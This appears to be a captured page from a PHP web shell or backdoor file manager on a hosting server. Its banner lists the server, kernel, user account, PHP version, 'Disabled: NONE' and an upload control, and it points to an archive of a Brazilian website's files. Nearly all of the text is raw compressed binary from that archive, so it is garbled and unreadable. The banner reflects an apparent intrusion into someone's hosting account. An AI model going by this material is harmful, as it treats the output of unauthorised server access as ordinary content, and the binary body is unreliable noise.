HEX
Server: LiteSpeed
System: Linux cluster02.load-balancer.x2.network 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
User: kbdhpghp (1098)
PHP: 8.2.29
Disabled: NONE
Upload Files
File: /home/kbdhpghp/bemkasar.com.br/bemkasar.com.br.tar
.well-known.tar.gz000064400000065233151057443550010070 0ustar00���v�J��u�����.)�ߤ����-J)~JdUY� 	(��]���k{ϙ�c�ϱ��z�=�;�g<�w�+�}�}�}���@)P���Ӿ�%Ȍ���������s<����'���'�>����?���?�C�<��1�S�}f��H���������=�o6j����j1�l�pTIuwuG�23`%��J2'
T�����qԄ��zl���
�x_��3�g��s]V��2�$����곌2�Xy��)CQ�֌��J��h��T�r�p��a�Ώ�G�#^p���&�h���B�z��N�uEq̱�3�J���Lf%�Ǭ�G&�:@��M���F)�)��x��K�#=b�y�񈒥.z1T��|���H/_�'�ܜU|]q�f{Y��~{�|}��x�7�?]��H����F���(�wm$a'q�6�O"�E�鱒�8���z���#�]tEAaT�z{�<�������0��!7��?�R���0</.Q��N�ZQ���+Ex�P��q!1S�3�qA�iHW��,��K�L�OQ�;��e���C/5�G�X/�+/5z���X���Y��*�}�N��}$�Q���!��}�'"��No3@�Yp�!�OM�n�>��]Y��	��^��t��N�.ѓ��;�z�'��ad��EL�}>�������g�Ş1y�?*�d
ݦ���(�0��(x����q">��s~�H��r*J��������ϦT�R��ó��E

�~�H��QqڎQ��%y�B�İjW�{*��'S�Z�᭎
�F/��N���H� �x���wi z�˿��/���_|�O_~��?���K��%��/F@[D*�g�R�H��8	u�(�(7�2CJq���_���ԏ�A���対���?�R?���ї�S?��/�G_�/e�a�����A�1��oѳ���[�Ս�o?���?���w_~�p8�t��o��G��~���;��HT�@��L�o�ߣ��1Ѣ-���/�	C�5*�ר�?EU��*;��"��D�Ҍ�eyx��:�
H���|�ƭ����IFT!�����Z�L����}�/:-iQ�E^��{�?C����
4>~���3��G��<�z�A�����OV2y�;D$Аa�*�=*�g�Ck�N���F��oz�W���+q!�H7�~���3`O0��VQ��Ӹ�Ez��W�oq��+��DD	0�9yH��w_�3ibwV��|-v��K����B����	��
�
`�Ť��=T���\)?����J�}
t�V�
Q�	�/�!B}��Vn6�i]������'�<W��s������u8:�2�6����H�1�G`I���L��	��)z��6�Y���R8��%��
d *QG� �9�'!N���W�TT�y%NXMy�7�<��H7#��}XT�Jx�� ����o�j	}��Q���@BC��G��o1)�I���|�+�~�n��ip`e�Q[�pI�.�ߨ���MWb�<����,�9	C"~�G�o���4*p�1�;Dׯ�q>��r�7X>U�/��XU7z\.Ջi���Tmjj�:��0����+$�tk-C��U�����P5�w��� G�GC��MU�`@E�f��ш�;�Z��C���k;�`��u�1��qp����-X9��7���L�9"�q������YU��ѩ���G�>�1����C��ˊ��QbV
Ȣ��@`m(.H_���I����P��>�&�=������]܂�ƣ��P�W#+�
��t��r�7��;#wf�	�0j�Q�O���a�$�z��O�R��x�7x&e�K2�I_��ſ�#ӈ�1�&��k���q6~ƒ���(7��Eƫ���V�DND�5�	�1�oq��%-H 
���?��6����m�aI����If��5T�U���)�[����V�8���Y���<�\�P�X����ZQ��©,Τ.k^��e*�@�����f�Ae�l��֮�x�$�铛��]��j^�n��R�+�0��''v�M�?>Q�#�'RVJ`M3�Ĭ�.Vpy]���c�?}	�3���A�#B&Se�>~�f+�l����]�N���VG<|u�|��|�{����Hh�䳋Z��#j��F���'�~�'HL�i¾�=�:!(�he2aV!r�}�fZ,��ZG}�>�E|!�������%�y��e�L��=Z&�.�E�D�sBչh�Lu�>(�$v���4���2��)@@l���XO���S�*�$/A|a],�P�1ǯ��P6�7��BĊhHsd�0����Ɋ8O�X�C6)�.[_���rf�����O\� NFS�{O,#{@�S�
7�Zjۻ�1��Qڕ>��;N~fV��j�n4NOQsN��v�c����혣U=�\�%����F�y�����Cc�0aO�����ڃ�T��B�:�\�$.�=��v����0h� J���y2���][Dl�X2��K�����|��5AV�^�E%.�(�R�R`�������Ȩh�`X�wX�xA�h�W3�Z�ʞ���T�
:4n2�C�cv�B��}v�HLWQ�%qB�D�*D��@1@G��"q�\�Y�Aʓ��Yw�
�R0�"�4!��%K�
D�{pپ�X�v��e��(+.�5�D\@E�;}d�w��y�L)�\P��O�X�+-*k9�/ڼY�)�;m
`~!C�,��*[/I;��[�����M!����Z��SbK�����	�������໗8m�Ľ�����r}I�݄Nu�?ޕ�d@�`��4�Š^E���!{�Z�KK	�@�x4�S�o)	{��~cj
L�"AE?���V�D0��&�U�!��R}�!�	ә�L�n����w�[�k�j3[�ສ����t���XL��d>����l��?@�W5]1Y�^��g0���4�L��7�#
uK)��	ҪP�F�1��%���U�q��!��5P? ÓX�P�K�g��g+����	�7ķ�������ϔf;6��(PxԔ�&hx!I��D�6����}4���j�S6EU�/��ϠL�B��R�ܙ�t�-��CL��q�Vv�l�W
�{�Lq4���i�6a�i���[߀�~�#Rv��fMK��7@�Yا��=9:�
��rI�OP���	#�6�B�v���К��q�E�iiT�*�NE��M�3A`��i�M03�����9�H�p���5ӑ������>�����&�x�k��c�����w��VH�3Y�'7X���-+s�b���R���Q
dD�M颅۷�?|�?��� \�x�}�������]��G(ѿ�.+��y�@�a��g��1�b�]i�E���%��P�m]�p��(�>��6]��9�M�lG��6۽:%�F_����et��Q�
1,�̻�@�qcw|زx�k���oz�,�ߘљ��zES6XÂZ�����S+���6T�曾�8p��xn�6R
ȵU5~��׃J�2���%��L׊�S�N��U���	�6ZjȔa{�@(6�x�H�ݘ�X�4W[�X�D?���y���_��6�M�Y��1��#���r^���:{m��&�;d��婷	�n]@����r6wos���@�����g!������R{R�lJ`��p?���L�9al,�J)����_6�����t뽍�P�f<W⊪.��
(�a]C\c�QoQu�b�V�|G��i��B%�W'�A�5�;f'�W#Iv�G>f���䆚�!Ԭ&��T���x'D�7D� ��f<#BΩr�r���B��1Y�1�!Du��>�����㜠�������̸�p�넰������
�25�)㜠�A6�1��C��,�ң�o��ty!��[UQ�
11�N��\����.�:�*돓�'e�P�7?���db�N��j<�@c�8��A<�1���5&�1ᝍ�%��i�yc���kLP�S���P�ؘo�h� T�A�٫sVR�y�E�a�.@᫺:�2=��{�՛����ݩ+q���>|	�/�D_��%�VۀU$(E^�B-���'"���"('��[����'سA�hKK퐵p� ��^�XjG��c�q�����j+�aFB_0�M!s�wk��T�ĮÆ�n�
�5���	��/I��>'6�H5�Cf1�����]v�kY�*��"��J�IKZ�m�kF�&�ԅf[žYZXVjT���G�D+V�^�M+��-��f������{�mh��c%7	š�4��SQ�y��(�3&���I!6¶�؃���]����WS!�N�ՉW�4�.{����Z�y�"�E�S�~-�_Gc�%�y���Q��g�#��W����"+��9������Qu�������b�����*�5A"�J>G�,��}�P�I��:��u�b�~�gE���O���H�7"��KE#�P��7[�@���GAA�2�c�Eπ�4)�����A�e��	�=�u[�s�W.��B|~*�S%Q�p������CƐ��0�L>�@;�p�|�=��|>�l'��~��sx�2y�{��c��H�xZ�N��	e�1A����-b7.�.���<��Ja-���2��TUƒ״��O|�<���8���`o�����c�BU����+F��`�����������Ňe�b5hs��ȗ��7L�r%���<֖n�v��p�����m"�1)�RX�F�������`;p�s�!si�b��|���͓0����	h�W������`4�G��ոd*f�SQF_'��H�Z��zd��)�`��8�}GS,�쉏����H2.���,�4�_�\���O���n����w��?AM/|���G�C ��~�#5W���'��$d�-"�'@�l�Ca4}բs�ڊ>���B�)�-��&�aR6��%���F��Q �:�"my)��B�z��#��i��mb!" r�:�7Cs7�'���|�����a��y���E�
'}��(G&Ԟ)Y�lmS،ɾeL
�"�譶堯�3�%6٣����z�q7+���˥��:�PO�.�z���,�Ήa�����;�Jl?q�� ���J��Ѱ��M�\G����zt����h��e� 4��計(�c���{,�<4Z����;�t�[�S'q<�p,|2�+h��K�����1i���s
<�U��ޥ���f��~G�.km����E��ЀŻ���� q Z��7߼�%��W=�
� �o(�Gh��Q�8:�Dx��Z**�a�X;���"
v�'vg��^��G��G�'���F�O��K#-�c�:�]�a�%��eԆ�x���z�':?���V<=�r��)ifE#��QO�8�ӗ�x��#<��S4���l��~�Ŋ�M����a2A_�A�Ƽ*�D�a���f����U�R�>��q:��щwUOTc�$P	D*�ɸ]��ć/e���P��b��� �~M�k��T=�hu�t���A@s�#>��~��x������e>�m��H�����m��0&��5Y�:�9����Km�҃z�^n��m^�:$��ڑ��i�"�f7Ѥ@�t)��K�j���+G.�9�P��R�N�nqvZ:�Ԣu�NX�4`*y	 ��L�����vB�nB�G�pc�^ඩUƕ�A-R1�61�#tǪO3�U���ad5w,��@*1}�u�H�Į��X+� e��ʇO	��Ņ�n��v<��&ӄ�y���.׹1Y�����i�����lWk�w�EJ4�T�y�4�F���ۋ��8��"��_X�|��f<�Q�P���(�ɐ-1�^gǨ;�<���;��>
��H]��H1֓7f�M�Ȱ�3�o����*��d��y)\v�;	C��*�Ldz2��GV�:	x�l�،�M��2P
|&�p̯���2���6��?x��"A�t�X
�1�j��^f��t����U˷�+���Y�'oغy����@��|�Z�#�ErT��P�ר�A��s�W]�,@�Eж+me"]�&�Y�ޖta�Dj��XX>X3ƒE+�w�}̡&�/(�����!>�g9m��s�9�R-[�S�R�l���,6�5����(�4r����j��g��#yL���=���];`�0��#��B��xS
��1�V��+�sQ�tj*u����߁1�m��i������B�'�nji��ξGl��ٷ�F��X(��~�-�>�>y�o9��D�����G�f�����*�jdF=e��n�~���G���i���;E�G�}h�~"Q��h���Y��׵�Y���C]n���H��sF^����Y	T�K�<�'����hi��r�6��Qs��c��b���'�t��ȅ=�]H�t/�	C��!D�G�{R/�;��w��9~�O�@G���f~c��.��ri;�h�h�K���q�X~bW��3�ۍׄ"�#	�HS)��	h����ߗv5v9��0{�C�=T�K�;S�h��X�x��1=��������o��J��H�����ju�ڻ�i�j�s������چ^
��6ܑ���S��	�A޳ٽ	�iKV&��i����f ��\�-�v[o��YiV�1‰O��I��f)�C��zr�:񸘗������l���a`�/��󍓩���*~6m6��f3T]m�9bu����_�J��������h�T�R�H4��U6[�$7<n_X]���d�]�$�ޣzۻ:DCq�>��
��&�p|�KNÌC�CpҝrBi�s*8]�`�
���jI.mAtE^�Ω�b�d�����T�S�=F@@�p�K]���U�.�e�����fG�z�tj�����^}�K����r�Y�	�CbzĶ��)�&
���۱A�i�"�أ���-`N�	N9:�x��l?��0� ��嚩ru���$��j�a�1@�R�3YI'o�X����K*�K��d�.��7�
z8�V�j��΢�H��R�ג���F��(
ֳ���C6�IJ�zkX�'Jf�c�[�_��9��q>u������^���
ЫNn.1A!�l�w�x��	K�}��?�\����Ć�������:��Erh%$W�F*��C�I�}j3��rf����(<ky���$�i�5h:6���G)߄F�	̂��h��暧e6e'��xr-����>c����)��dQ�{��^:VH�t��vC��Q��/�g�f/|�{���a�_�=�P�zPZC>�w�%~��4E=��p ���w���RH7L0_3�dhԒ��"�xD߅P�!XW���Uj�ۡ�`�če�3鎊7qTf���6��4}u���E��)����}�j:��)��)�t��zH0s;	�SB��8(5o���T���¬H{F��t�_,�G�8�;���|0��|}s��#qZ�֭i$#O9f�Yݔ�O7�q�t��#A���AEh���x��1��[K�,��Ě�H�f9�e��E8�Ffç(3	ws�A�}O�=f����/�{f�z�^�5�K:΅֍�Y�L���rV�.֙�2�}���A�o���8R��;�$���\'�n���V/W���j��p�'��q'x���Һ��Isؾ◫�F*|�Ҭ��`�5��Zr���g�u�5jN����˦9�Vj���T�+�l�Z��Nhu&O�FQ�B6007��/�*��>�i+�Ak<k�J��au�̕��u5z�4]��nٵ?[OVV�Ƽ&�B��떞��m�7d�U>X�&�h�SIeZ��]����\1b��>l$S#�/D ��c4F���drҨ�D�~94}�F��L.��T����m�1��Ef�D���]!�|76<���Ӭ��H:u�Qɴ4�T3��u���u��J��`�H`�ި��ʛe�T�~]n��!�9��!�w�%qJ���9iv.��Z��)��;�G��%�����;2�p=�᭢A��
[�f��!���t�m���IhR�v�0�K
��#l����GZ�1�ҳ��CH�{��g:,���A�1�Ш�v��J�"�Yܽ���r�����W�۬�x�پZEӴ�b����d�)��C�}CB����xW�ַ����p8thܪ��\�z��f��ǻj�^��ݮnF��=Ƈ곭-M��|s���h�6����r��g�1�0�yl��;�LK	���	߹�g$�Ñ�ۦ��ׄ�h�ZB}��E'���H���K.��SF�F�8�4��h({��S2������S�]n5�k�ϥg��y�Pm��E	����s3/&GZ�~����QmDɐ�M�i�#�mB��X�8�NY�0	;��C�LܤO�փ9�o��&�k/�$C��DXX�Y3u|�L�.��;�WO�$����MV��|�����zo�uN�:�ž�#��w
���w��n�BQ|>�+���ϵQ2ZH$���{�'��ղf_��K��$�L�ø�7mP0��0�V�xy'hL��e���lЌV�4��8a�j�VB}<�HUr�
ÿôP�M�@�tNA�Q#qh0�$Q�.�$�mu�zRuݹ[OZ*>Y���z�����I�c��6�Z���ѐ�'��E�������d�&�w�����뉬ѣ�[��yq�A�|���!�`V�<�QĊ~�5��c�A�Ȯ�x�AU�Ĵ�{�Qe��«�T�|�c�#qy<��18�Pe�|�g$u�J	<��ɠC1<u��4��H
`Rh������*÷#
�V�Li�������2Q
�R\>�zd^!�Bg�(�q���� ���ۍ_I�+�
d�Z�>�J_�MO�CH*ޥ�P?��!n��G��˭��>mz�<ۚ�������B`wǻ���!����p�#ڤ	�y��ޑ���b!�>�t�-�$NϽ)J��~L��2��0�+dLȓ��_�l�����X3}tY�'�W{��51L�!a<��4�Q7�:i�hf�)
��g�!>�5��.\��:�+F<����S�&MS�^p(_{�7����^Z��F9'��,� -�S��p�8y�%ѫ{w��&s�׮�x��w̍�cF�X>6�g��VƳ3���mA�6A��H����ѫ���r��V>�>�y
���m[�!�wr
g����y��*��V�Zؔ�v �"�/9�{��S�?����Wj���v�ϱ�o�B�H������,Шյ*(����|���m+j�����-�/�_�@������&
��
g�@2U#R�f��v�Qʔ�\͋��v����8��@S����V	�<���΋/��6��
F|�T�&A��(��.��~��Mz�}�i|Uz�g[�'��ۀO�x��'T1x���#N�<���o��`��瓁�[���'��vTX�����	J=ٔ8�)��E�o�riα9���'�\O&)����p�t�T�2<��p�ނv��p��oa��Q�{+}e��E�kT�L��a1�p�qYIn-VN0��m\h0�������߶О_��"�zM]�i�7G�#�>�9c�V�v웠5>�j���i�4;�m5�ӌS4]���¹T�F�c}�S�p��['t�Z��JQc�
����z��c�ZP���	�J���Y2_���)�w�h�+�n����M��k��Î��2?=�v��,���%�����o4��m$�;S,1��T�k8a��:�]�_w�ɆB�C�����4�t��f���f]�1O����3�Oc-l�WN���4������X�]���o乶!��l�m��w�z쿫[4��}���و�&�o����
	�(�g{P]{q���l�3^gG�ј�E��#B��'����q�H����´�jV��m��Gu�8g,�SK����F��c��¢6�{�+N:���D��~��HX[�g���IT�.��&�[,_��[����J��o5yW��7�d�<�9̴פ��%�ٳ|���5&�7�r����qo^{��(�R�^���tD߶I�������7����Ee�B�y+�뙬P8*>.b�6��;�59����t���
���'��P7��-�:y�!)������$򅜗
&���^*��+�?�D�=�$�j/M�n�p�L�sHW�$\��V���A��h���jO��+G�ʝ���ꍏ�vy�m�zi��&dž�eU�'o�
m��7:F�r��:VO�n��~*ف���((k�w��-�H�lkעjx��n��Sk�
�8
G�y����:����*��U�0��i��Չ���@����$�K`�d��ka�z�x��;�����[�����a<����t:��m��݊HuDE'^�[6܏��o;}6�?�"�ߋ�}*@߃L��(�'$��#jyo��:�Q�s�(�؟�C�M���̇x�þ ��8z��0>�lH<DL��#y��Rń*nT88�.��l�i��l���!Z��+B4&��Z"���Ӆhap�n"u7�0�q��v�^*ݨ�w��F-[M泥��r�7DRp[0�[�C(�r�X�/���z�\�����j��f�Zȵ `��?��]6[u\�*�̠����l.[�
𳚭7��z5Y�����)6G�1v�v�
x5!��Mo@�Ru��u�R�$���#ZЪ�)>�w��矾?�O�mp$3o`#��Ǐ�#���6��
��.��'�_9Dli?��7ޅ@���/0����z��֥>ʵ�ư���2�H񔥾�1C�<��/�ۿ�N��F�Ν�7���������}b{��aχ0�o��֣���Őç����>3���g�OV��6�w2M�ħ�_&HWs�����3��9	g�aV���m��D���Ҏn������>[~
S�����5N�Ü�9+�d2�34n��05��>e�i0T�咡pn/:�E(>��v�VԚ�|=s�!9�:{���M�S�t��Ȯ�#!|,��K�����CzW+C��m���U�$�Um$\��o�D��X���Pa�^!����@@o�uw��o�D��g(�U2�͆�1C��Β�L,�6q:�ᴄ����B.�
L5����碹�F��E��;�v���@��u��;�s���v�����E1^-�Mڨ3$f��8�8D	�{���_�Z��SM���/v��g>���`'���bw&��23E��
��mFb2~2��% �K�8^^95>�܏�gC8D_�J Ua�g�N�$vB�A�Q��R�N�=����Ո�%�����F�Ph^M��\��*�ưQ(��\8��ZO�ʸRhM0n6��j�����܀K��#1}�kf�LA�	&��sSD�N�b�و9c�g�N���f����E?�N��k�R��J�>5
l�Mg��z>�Vf�B��*��&�u;�[ӵ�T�n��,������)�t[L'3�z{��M����T���d+�MvS�q}XL��d6�o&�o��M��z���g��`q��%�d>)�=�z���y��X�����l3ɤ���z�5D�����)Ns��`�LU'�x%�,
�d&u���b:��͔���*�ܢ�U�И&���W(�J�d��Fu�q���f�l���:2<��Z%Rm�:�t`�
��ð��n��`�r=�����0i��7�R������j�z5�wg�m�,ɱrI�3|\�J�<���Z�;O�둺�m���+O1�Y��d,%�����U�a0�l�-�*�FR,L�.-<W�]�~8.
� �0���7��u�՝>�a���&�=�8}���1]=�rW���`!����Fw)\��nD<����"M/z�U1[���ܧ�F8��u[��D\��Pp\�v�m��8��e���Z7�r^�$f�"3�w�ڪ[���'��n2yw�į7�Af��2��Y���i����Hi�'�n%�|W�E�~#��4bK�&���R�<]O���dj�N�z�T�^Jb5}}[OW��tzRK^]]n�U��q�u'�C�5d���m���z7�-��pfXd��0}K�W�t��Z%�V��9����`�0i=��\!�J]�3�\�Z-�g�Rc�l��F!�,\�g�A!2,�i6�l5����lw��F=����3��j^�+��r"����y�+U���"(���Spp�J��X���.��$gK����9�.�V�,'%W�r��h>-2��h�=�ޢR4��z+���j$U�
oﳱV�f0�JW�ٞx]Z�3��U�zuS��גX�t+�֨���b��>+���e*�eﲥU��5nWױI%9�,��z-�\�H���Om�_K��q\`��*��4��V�����3���8��|#�_'�L=��Ć<}�
>[n�#�6?�\��L�i(AQlV��9cC�
3o�X1��&#�4X��k�{��|��'��7�<C�lx�㫑2�z���i��=D�w��bQ�3��P�IM:�d��^��U�i��a��T���4)��L��7��'���s��y�טf~%Λ7����>
�f<�Pl<��t&������"4�'��4
T���N#�N�Q��i�@��^E�tk���n���4��Mz4�m
�۶ȅ{��n���tU
>,�7ҬEW�1n|zb��ʺts`׍y��ů‘��s����ps�>�Cћа>�a�|����vs)=M���ڍR}�y���10���ؠI-����]��t9�	�3�b�7�e�tW�}b����Q����lꉶ)�q��l'$x�˳"h���n^er���X�S�|���zs�Y/z�x�o�2�R�m���C�U��zٸx�̏��Q^�?�o��`(��2��Ak�Tu��NK��V�L&7L+V�(��x�v�K��80Y���uQ�x�N 2�+���DYy₳|�Z�U�)/�i96��=�l5�Ӟ�g���i�̢��4Ɨ��$(ma�,y|�t�r���Rf3e��sBk����l������L��*��3Or�~�tc�U.3�/+Qf=]��B���ugZ�Z�e�.��)û�
B+4���'�l��[s��u-\,�]Oq*w�J�0g�7�����E���$V�,fA1�g�Yd�]!���	{_/���w��'U��t:�i���}�*rW�{R�؃PX����܃�cJ�z����e�s6��ϭ'�^�B�"{ߤoK�thU����\�=���D�1�h%-ҍT{Q�4�E1湚�O�n-u�}fd��M:R�6S��2�=��ZN\�W�v�DF�q72� eП����02����u��j�d�w�Ȃ�
=�Pz�WC��:�G���lh���xDZnJ5���E��Jbh6�E��Y�nM�w����r)rO��$"�:뗯�����b����e�ʋy-7]2�� ���d�0,���J5��bn���zou_NB��{-8�ZR�`�ԽF�����T�]�㥇�xY/���}d�f����6�X�&�'67�y��tv�*���Բ�$��r��
�I;��.�a��Y�G��*��5+W�d�]D�����9Q��+y��A�^���r��n^�uW�2��"�@�JV.�����.6W��}�9��bD-�lO�	/��p�>����
O��I�Y�Εf���%���A3�Z�ŔR�Iх�L��s}v�
x�z`�$�h���BU��Z�iX��"�f�l ��F|>ܛ�$O;t]�?1���~�V�'Q����H'3e�x󐙄K�ޓ?�;�Wʡ���S��K7�Ylk���L��x��_�e�.P7�
_	ƔbO��z��c��P���Z�X�s[��z�z�(�d�Y
�w��r�݅��맙���&P�<\)��]-I��
�h0�j�v׬�Fg-)�K����潕�T���:�J��0����!��f���1����/ςW��^18MO�7Lu��'s���g�z|��:O!A�W��~&����Hm^j��&�*���j^��v���"�|�#J�X$xWŻ���^Շ���!M4���w7����*�iԛ����)}��ze1NO��8�3F��.f���N(Z���x�wVD��P��r=ԛ�K��ϝ������?[˳X�+Ğ��zl�?�f�J�τZ��]`�	�F�������Ϯ�U������d-�2��Mq�|�Ց��S��]�x�J�l�^!�NG9Z��r�ּ?5�g���=�������Ê�Y)]N�x'�F=������7�se�����x��{���U\�����o�7��x9���x6���ؓa]�o���j2C'��I:�>�Fp*��nv��%@z	��:Z	2B
�ɫ^�/U+�n:���y6��)Êq�ũ�«�}���j&�?{��z�����T�l�?0wW�l��p�d(�̅�l��s������m��Ms�a%L&�@@>��Cm�s5aV��d+�Oez��;��j?�ϖ�y����jPh�����#u�Bh���F���\+)iO�!Z�+�~�p�	2��_UC�Y)4�H94��Ve)'7����ۯ
��In�y�f*��̯����"�&K��v�9k�;��s��g���v,�W����pSA;s�sL7]�%�]���|:	��#�Y��yH-��I��O�5Z�e��\�ɳ�u
�\�a0��\�1�y�3�&6b[W�謐}(�r���J��Y�V���s�V��̝�z�[rʍTI.f��*����q����/�'�lW�Z�z1$<�2�ղ�z
��n�H�d�Z��;�J���ªcV��\�=����3�+K|:�*3OOE���FO��l�I�t�r������^ݖ��M�YI��r��Ź^?�d�u0[_�#}&�Dy6l��+1�U���{O<���R�C9O'�n����rl6�;��s�qmV���G'�������=�{�g����#?�G~v�����=�{�g����#?�G^�=RD�Y�U!���}��WR\^�xb�2����&�0N��j���Բ�^���p�]�s\�����U~y[�.s��ju��H����ȟ-�2-�)���;aL/<gg��0�\��dzB+���_�_%�H{����֣	ZCFW}	���)錍�í��6Wg��S��Z�P.�)T���*0-d�5�߼��sl�!u��t��
L�e$�<=��2�4o�!���h���Z���H��)g�p2��5��X�\�u�jJW��iZ+�P0^]>�v���C�S.�%>�(�d�ޟʷ�v+�#�Q���_�f1q��C�Ƅ�6Y�e�n�E��,}�I�ۦ]2�`H
��Հ΅C׫�YxP�_Eµ~?�z�K#?��BW�J�i2������<�y0P<
KWC�0�6j��J)/.saVzX���E�����7h�8ᮣ��bT�F7��Ve=��s�Z�p�Y;t��t&���zx
�ÁV�7k�8\'oW�r�7�M��6_8k?-���'����uSR�K֓Z�A�� ��`P]4���}ZZ-�Q�>��'Wl�y#vW�����n1~5a�����%���-�l�r��{���c����7�
S}*�|�S�G���HblH�;I�מ��{͌�q�Zd:�&��+Ӟ`9t�Ff�{���Vܤ'��A4RFJu-���+.�N�]�Z����
�V%�,������$�>L����<^H\8�K��|(ڒ���h:)D�º��;=&�ڤ�*�;��(�L���5h_�K�ʨUK�g�ѢM/Ђz9�w���~�N��p���U�O{J��:��x�Z*��t���Ő֡�5a¥~Kf��`:��D��x�����ܤݣg�yH:+ͦ���Y3a��u�#\
�t|Y�ܦ�x?���\8��ў�r�YXˡ��(?�B�����i��S-s�iw2�f%�k����~vW��gEnQ���^�#7��O�$���b��H�U�[����:�����ꬨ4O�Ƭ�H�@���EcZ�B�e�>�ϗ:~�v�W9"��3�@K�c7k4�=,
��4�+��.�b��O{1Y��7I�>��T3p��b- L���_�ڹf3R����TD���'��R��tm\x���D2�b��������o�H��l��Pn�(���?��Di�8����C5wU�w�m/�[�+�T;Ƶk��Z	���|��vy���u5�k��J���=wW�۷�Kn"?��L��ଡ଼l�F��b���떰��t%9co�Y%5dZ�jԞՇW�ߊ��R˖(���m���c>XI���qɣHJnnצ�f�ɥ2~>-��u;���(��lڛw�:�z�ֺi�J�RH��RKI���im<����M:ݹ=�*�Δ{��$��|;H��C���V��_d��`����b1v�E�Və�~(�o�)�?-�\n�����p�f-&o��Hi*�$��C�H7��Z��h��7�t�PHh����1�ܕXV���'̒���ǂ���9�s�r�wx�;��s�[HT
U(���9�E��g��CτgjA����I�2$��A�8�a+�T��}9X;�j�3��������j�U}�-9h���^j�a���3��k���>P�P�v��.��p��19w��!a
�Ssa>�FN��O�4�D�}�甛z�z�>
'3�VJS���_1�LO/�:���m\��2�V8��rD*gC~j�b��:")�(-o�vrLM�� s�m�q�$`ԩ�;Ø7ǘI|s��z���賝]�'��iL���Y��ݵF�y9|Ǝ��rQ��:���&��}��A�M��2� ��

�(��"��*��X�����P�%v��,Ƚ@�
�1Uo�u���]�QsV�!?�� 
s"(�@��~ܜ<+��
�0���@9֒�5J��������U�;A��)�����{����J��L�1uۦ$54g�ۗ�h&�l��;$n�@���i�'j~
yZN���mJ�V�kH�u���NV&e�y�Ѩ ':���9z�~������k�B�T%97ȅ�8�
Ӈ�!'Mi9��h�T�)����0Ys���p��bv���&EL��,(�4�3v����V�%T=������as;ʋ�S�?ͦI�rZ�Hq2q��z�>뵇{���.=Dƒ݅���E(��CRzg�pI�;.�o"�פbv%�u�d,y�^H��rޙ�p��I�^H�!��>*MIY'4����y8�Qk���p�3�3�-���T�]��"%�^ү���FZ��.^�XZG�@����ל���A/�K�ٻ�Te	�H�w�p�^_�xM�`)|b���HP�����Ԯ����oHr�SL�.��;оv�	T���/�I
��ɒ��5�:��]r�n��������Tbts�Ʈ��L$3��ވ���02�sLڛb�h@��ӥ��.�_�$�	��5��|�� �P�'/bX'�я��6b���񹾃nI���v��H������Ў�>�#��u�c�����ZU����kBճ�g�_`��{��O�6�2J	,#}L��S���h�j�~���5��� W�2!92�"�<x�ۏ���J��'SBH�
�I��Aj�A�����x"a�I�H�Tu��x��qz,#s��\\�ԯ�u_�:�o�j3���.��8��|��o��J��
�K��ѥ��G4�JxO�������)������ �Z�$�:4]��84��>
GF��;	~M\N��<4��	����QG�hR�Ra��_�Ȯ�>G|�9KA�KX���Fƫ.�wߩ��,''�]�4+�̃��ķE�gsc�{�C{O��gZ�ø�&�7��Y(�cJ���`��LH��j�C�I�\�!�͋�Ġ�1�8O��Q�wS	gB�	^x��i��s��I�?�`ͧ����]@`�v��@n�E�������s�"x��5#ا�D��F|�PߑT�ϥ�4��iJS.Y�;N��Hl_0�,ɨ%�f ��P̒�쀋�ve�ܑ���7��;�D���u�/wܿe'���C�]mK�G����d���ï-F���f�`�Ǝ�+%\~�ey���h5��Vw����"��`���-N,��F�	�����G��[A sA2�m4���M�d�]�u�n3�k��� ���Bv�юmOu���vx��1�` 6ޡ�v7�l�n�'Y��6�/k�I{v��d��v�F��u������r��͹
*��d��b��_�L��X�"���T���4~�R2t�dw�}�{vx �m�@��Q�s�a��&�g��g7mhh�q��YIy$�����__���
Y�<�\k{C�����ɩ��\p���5K8�BV���cv�5�08H��jk�	��\��{�m7ߑ��)U��O�dΙ������U���!��Kȶ���ܝ]y�L��z3H_��A�n]�lG���O5)m6z��u�h�D�]�U��y"Ϊ�5��Oת�z��ʉv�\bջW�����;��wi�̽t�%�lgV��s�%�U�.�6M��q�+w���dⴝ�0���MC��n?Oo������9zMQcGL�sq�:�L����~���I��;e
�������;~�GKlnz�{��8��jԐȝ��ƈI�W69G���z������b����5������C?���8g	��Ԏ%�d��='�!8���w=9��n��
R�4�n�:�:'T���{��=�&L{�������?,��Mv��`:ru9�"L�>?�� $V��Ԟ.iÃ�m�ݝ6�e�N�i	~�
�K�ȶ�850���b���Xƾ�4X{n?�U���{���#'p��F]�����"�Z^|s�y�B�#�h���{c��h��Ơ��^�=a��
m�}A�5�N�Q8��wJ����u�S��sd�]�39��f���د4Ѕ/�ص��5�O?��n��m�
:=~�g2h��^��k����P��n,� &���:��"q���c��Z�!'PO��%֭e|C�^e����N?��z�?M��/NY�N�i|D��hq���EW���]���
�Ս��xknj�!�3	_�j{� �cV�=VV8��]"��!��>�e���`y-�ܖ�ˎ�CFB���Qw�+���hl��^vf��I�$���:	[����F�;7qp��n�5�+��7ǧH ��#(���2v�T%�
����U�^�yk����V����6���Hb\���0G����v�ʨ}c�7�5�	����Bd6�JQ��.����K�`}�0�*fQbp���I]$�
#����:&�S� rg�ɳulD�vM�����������S�a���ʲ0����^�����ލ�=�5���^�;2c���rd�
 @�Ј8|f�JU�,��^�=K�O����{>���~���42d��M?�M�/�u��s[��*�=7�����w�5��V-��<'�uA����Ɲ�a�m�ӆP�0N/7<ٻKd�	��z��D�Z�u!ѷ�JG�w�TGx����0;9r1����
~'��l��(���R������F|��g�*��(��F�Ձ���fE���0.��6�j��sF�34��J�0�&�h�x�ZkG3�������jDh���6�(�&
5� 믷��^/�;� �	��l7�8���l��0�v�P��dc�(D���
�i�]�N�O��6`��{C�-�F^0�]z}-�	��"��}������lJo"�<hj>���l?+Q���9)����0��C�:繭!g�io�%�0�Mu���1�z=V��"@Mq$h�%�; C@�
�#��
G�����Ǭ�lT�9�\�9(��)^f_��`���QZP��U��G&��)��N�G���1'V�#THx�=�Y�G��=V��S��[�a��<���~�;4�c��\:�v��w�-S@��p���!��>w}��@�� „���
�_{�N�d����
61^�b�?g�=z+����h|d!C7��78�bt�B��5�?V����x��2����"��O�M��F�����-
���Q�9h�9�td��)��)x�����9+�yqqN����{�A
